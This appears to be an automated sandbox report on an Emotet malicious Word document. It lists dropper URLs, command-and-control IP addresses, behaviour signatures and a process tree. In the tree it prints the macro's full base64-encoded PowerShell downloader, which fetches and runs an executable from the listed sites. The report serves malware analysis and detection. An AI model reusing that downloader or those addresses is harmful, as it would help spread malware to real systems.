Analysis

  • max time kernel
    136s
  • max time network
    146s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    28/08/2020, 14:38

General

  • Target
    emotet_e2_cc96e6f34030573b9f0fb2d2e37f0ac543426dcf1ef7c143a25582ec6d35cf35_2020-08-28__143546._doc.doc
  • Size 218KB
  • Sample200828-6dly3bsbax
  • SHA256 cc96e6f34030573b9f0fb2d2e37f0ac543426dcf1ef7c143a25582ec6d35cf35
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://aboveandbelow.com.au/cgi-bin/Lbi20Tu/

  • exe.dropper

    https://amacshowerscreens.com.au/wp-includes/K5/

  • exe.dropper

    http://athleteacademy.net/wp-admin/VDDlV/

  • exe.dropper

    http://www.jayamelectronics.com/assets/TwgdI/

  • exe.dropper

    http://intelligence.com.sg/registration/JGX3I/

  • exe.dropper

    http://sorvetesbrotinho.com.br/novo/8edJm/

  • exe.dropper

    http://printed.com.mx/fonts/E6a/

Extracted

Family
  • emotet

C2
  • 67.68.210.95:80

  • 162.241.242.173:8080

  • 45.55.36.51:443

  • 45.55.219.163:443

  • 68.188.112.97:80

  • 46.105.131.79:8080

  • 78.24.219.147:8080

  • 37.70.8.161:80

  • 153.232.188.106:80

  • 209.141.54.221:8080

  • 203.117.253.142:80

  • 152.168.248.128:443

  • 93.147.212.206:80

  • 24.137.76.62:80

  • 189.212.199.126:443

  • 204.197.146.48:80

  • 137.119.36.33:80

  • 185.94.252.104:443

  • 139.130.242.43:80

  • 203.153.216.189:7080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_cc96e6f34030573b9f0fb2d2e37f0ac543426dcf1ef7c143a25582ec6d35cf35_2020-08-28__143546._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:716
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:3440
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABQADMAZAA4ADQAbgBpAD0AKAAnAFUAJwArACgAJwBmACcAKwAnADAAbQB3ACcAKwAnAHIAbAAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgBWADoAdABFAG0AcABcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAEUAQwB0AG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBgAFUAcgBpAGAAVABZAFAAUgBPAFQATwBjAGAAbwBsACIAIAA9ACAAKAAoACcAdABsAHMAMQAyACcAKwAnACwAIAAnACkAKwAnAHQAbAAnACsAJwBzADEAJwArACgAJwAxACwAJwArACcAIAB0ACcAKQArACcAbABzACcAKQA7ACQARQBsAHYAOQBmAGcAZwAgAD0AIAAoACgAJwBTAGsAcwAyACcAKwAnAGMAJwApACsAJwAxACcAKwAnADcAJwApADsAJABLAGwAMgA3AHgAOQB2AD0AKAAnAEYAcAAnACsAKAAnAGUAcAAnACsAJwBwADgAJwApACsAJwAzACcAKQA7ACQATQA2AGgANwBkAGsAOAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAwAH0AdwBvAHIAJwArACcAZAB7ADAAfQAnACsAJwAyACcAKwAnADAAMQA5AHsAMAB9ACcAKQAgAC0ARgBbAGMASABhAHIAXQA5ADIAKQArACQARQBsAHYAOQBmAGcAZwArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAFEAYwBkADkAbQB2ADkAPQAoACcAQQAnACsAKAAnAGoAagAnACsAJwA3AHkAcQAnACkAKwAnAGIAJwApADsAJABWAHMANgBfAHYAagB2AD0AJgAoACcAbgAnACsAJwBlAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAHcARQBCAGMAbABpAGUAbgB0ADsAJABPAG0ANgA5AGgAaQA2AD0AKAAoACcAaAB0AHQAcAA6ACcAKwAnAC8ALwBhAGIAbwB2AGUAYQAnACsAJwBuACcAKwAnAGQAJwArACcAYgAnACsAJwBlAGwAbwAnACkAKwAoACcAdwAnACsAJwAuAGMAbwAnACsAJwBtAC4AYQAnACkAKwAoACcAdQAnACsAJwAvAGMAJwApACsAKAAnAGcAaQAtAGIAaQAnACsAJwBuACcAKwAnAC8ATABiACcAKwAnAGkAJwApACsAKAAnADIAJwArACcAMABUAHUALwAqAGgAdAB0AHAAJwArACcAcwAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAGEAbQAnACsAJwBhACcAKwAnAGMAcwBoAG8AJwApACsAJwB3AGUAJwArACgAJwByAHMAYwByACcAKwAnAGUAJwApACsAJwBlACcAKwAoACcAbgBzACcAKwAnAC4AJwApACsAJwBjACcAKwAoACcAbwBtACcAKwAnAC4AJwApACsAJwBhAHUAJwArACcALwB3ACcAKwAoACcAcAAtAGkAJwArACcAbgBjACcAKwAnAGwAJwApACsAKAAnAHUAZAAnACsAJwBlAHMALwAnACkAKwAoACcASwA1AC8AJwArACcAKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwADoAJwArACgAJwAvACcAKwAnAC8AYQAnACkAKwAnAHQAJwArACcAaABsACcAKwAoACcAZQB0ACcAKwAnAGUAJwApACsAKAAnAGEAYwBhACcAKwAnAGQAJwApACsAKAAnAGUAbQAnACsAJwB5AC4AbgBlACcAKwAnAHQAJwApACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtACcAKwAnAGEAZABtAGkAJwArACcAbgAvAFYARABEACcAKQArACgAJwBsACcAKwAnAFYALwAqACcAKQArACcAaAAnACsAJwB0ACcAKwAoACcAdAAnACsAJwBwADoALwAnACkAKwAoACcALwB3ACcAKwAnAHcAdwAuAGoAJwArACcAYQAnACkAKwAoACcAeQBhAG0AZQBsACcAKwAnAGUAJwArACcAYwAnACkAKwAnAHQAJwArACcAcgAnACsAKAAnAG8AJwArACcAbgBpAGMAcwAuACcAKwAnAGMAbwAnACkAKwAnAG0ALwAnACsAKAAnAGEAJwArACcAcwBzAGUAdAAnACsAJwBzAC8AVAAnACkAKwAnAHcAZwAnACsAJwBkACcAKwAnAEkAJwArACgAJwAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAnADoALwAnACsAKAAnAC8AJwArACcAaQBuAHQAJwArACcAZQBsAGwAaQAnACkAKwAoACcAZwBlACcAKwAnAG4AYwBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC4AcwAnACkAKwAnAGcALwAnACsAJwByACcAKwAoACcAZQAnACsAJwBnAGkAcwAnACkAKwAoACcAdAByACcAKwAnAGEAdABpACcAKQArACgAJwBvACcAKwAnAG4ALwAnACkAKwAnAEoARwAnACsAJwBYACcAKwAoACcAMwBJACcAKwAnAC8AKgBoACcAKQArACcAdAAnACsAKAAnAHQAJwArACcAcAA6ACcAKQArACgAJwAvAC8AcwAnACsAJwBvACcAKwAnAHIAdgAnACkAKwAoACcAZQB0AGUAJwArACcAcwBiAHIAbwAnACkAKwAnAHQAaQAnACsAKAAnAG4AaAAnACsAJwBvAC4AJwApACsAJwBjAG8AJwArACcAbQAuACcAKwAnAGIAJwArACgAJwByAC8AJwArACcAbgAnACsAJwBvAHYAbwAvADgAZQBkACcAKwAnAEoAbQAvACoAaAB0AHQAcAA6ACcAKwAnAC8AJwArACcALwAnACkAKwAnAHAAcgAnACsAKAAnAGkAbgAnACsAJwB0ACcAKQArACgAJwBlAGQALgAnACsAJwBjACcAKQArACgAJwBvAG0ALgBtACcAKwAnAHgALwBmACcAKQArACcAbwBuACcAKwAoACcAdAAnACsAJwBzAC8ARQAnACsAJwA2AGEALwAnACkAKQAuACIAcwBQAGAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYADUAcwBzAHcAbQBzAD0AKAAnAE8AJwArACgAJwAzACcAKwAnAGUAZwBtADcAOAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEoAbgB0ADIAaABzADQAIABpAG4AIAAkAE8AbQA2ADkAaABpADYAKQB7AHQAcgB5AHsAJABWAHMANgBfAHYAagB2AC4AIgBEAE8AVwBOAEwAYABvAEEAYABEAGAARgBpAGwAZQAiACgAJABKAG4AdAAyAGgAcwA0ACwAIAAkAE0ANgBoADcAZABrADgAKQA7ACQATQBvAGUAXwB3ADkAOQA9ACgAKAAnAEoAYgA3AG4AJwArACcAeQB6ACcAKQArACcAcwAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQATQA2AGgANwBkAGsAOAApAC4AIgBsAGAARQBuAGcAVABIACIAIAAtAGcAZQAgADMANQAyADAAMQApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACgAJABNADYAaAA3AGQAawA4ACkAOwAkAEYAdAB2AG8AawB0AGsAPQAoACgAJwBHAG4AJwArACcAdQAnACsAJwBxADMAbgAnACkAKwAnAGUAJwApADsAYgByAGUAYQBrADsAJABMAG8AawBsAGIAawA5AD0AKAAnAFEAJwArACgAJwBlAHUAJwArACcAcgAnACkAKwAoACcAZQBnACcAKwAnADcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAMwBkAG0AbABvAGgAPQAoACcAVgBwACcAKwAoACcAbwAnACsAJwB2AG4AbwAnACkAKwAnAHcAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1752
    • C:\Users\Admin\AppData\Local\Temp\word\2019\Sks2c17.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\Sks2c17.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3500
      • C:\Windows\SysWOW64\devrtl\KBDHELA2.exe
        "C:\Windows\SysWOW64\devrtl\KBDHELA2.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1728

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/716-8-0x00000126DEA73000-0x00000126DEA87000-memory.dmp

        memory/716-3-0x00000126DE91D000-0x00000126DE922000-memory.dmp

        memory/716-5-0x00000126DC687000-0x00000126DC690000-memory.dmp

        memory/716-6-0x00000126DEA73000-0x00000126DEA87000-memory.dmp

        memory/716-7-0x00000126DEA73000-0x00000126DEA87000-memory.dmp

        memory/716-0-0x00007FFFB8D00000-0x00007FFFB93C6000-memory.dmp

        memory/716-1-0x00000126DE91A000-0x00000126DE91D000-memory.dmp

        memory/716-2-0x00000126DE91D000-0x00000126DE922000-memory.dmp

        memory/716-4-0x00000126DE91A000-0x00000126DE91D000-memory.dmp

        memory/1728-18-0x00000000020A0000-0x00000000020AC000-memory.dmp

        memory/1752-11-0x000001F14B5E0000-0x000001F14B5E1000-memory.dmp

        memory/1752-10-0x000001F132E70000-0x000001F132E71000-memory.dmp

        memory/1752-9-0x00007FFFB1720000-0x00007FFFB210C000-memory.dmp

        memory/3500-15-0x00000000022D0000-0x00000000022DC000-memory.dmp